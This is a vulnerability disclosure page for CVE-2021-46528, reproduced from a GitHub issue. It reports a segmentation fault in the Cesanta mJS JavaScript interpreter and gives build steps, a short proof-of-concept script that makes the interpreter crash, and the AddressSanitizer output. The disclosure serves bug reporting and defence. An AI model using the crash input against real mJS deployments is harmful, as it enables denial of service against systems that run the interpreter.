Headline

CVE-2021-46528: SEGV (/usr/local/bin/mjs+0x5361e) · Issue #208 · cesanta/mjs

Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via /usr/local/bin/mjs+0x5361e. This vulnerability can lead to a Denial of Service (DoS).

2 years ago

CVE

Open in Source

#vulnerability #ubuntu #linux #dos #js #git

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Open

hope-fly opened this issue

Dec 31, 2021

· 0 comments

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@hope-fly

mJS revision

Commit: b1b6eac

Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)

Build steps

vim Makefile DOCKER_GCC=gcc $(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)

save the makefile then make

make

Test casepoc.js

function D(i) {
    [i]
}
function A() {
    return D.apply - 1;
}
function JSEtest(i) {
    return A(i, 1, 2, 3);
}
JSEtest(0.2)(0.2)

Execution steps & Output

$ ./mjs/build/mjs poc.js ASAN:DEADLYSIGNAL ================================================================= ==76668==ERROR: AddressSanitizer: SEGV on unknown address 0x561aeef915ac (pc 0x561aeef9161f bp 0x0000000000a6 sp 0x7ffe3d8aa358 T0) ==76668==The signal is caused by a WRITE memory access. #0 0x561aeef9161e (/usr/local/bin/mjs+0x5361e)

AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV (/usr/local/bin/mjs+0x5361e) ==76668==ABORTING

1 participant

@hope-fly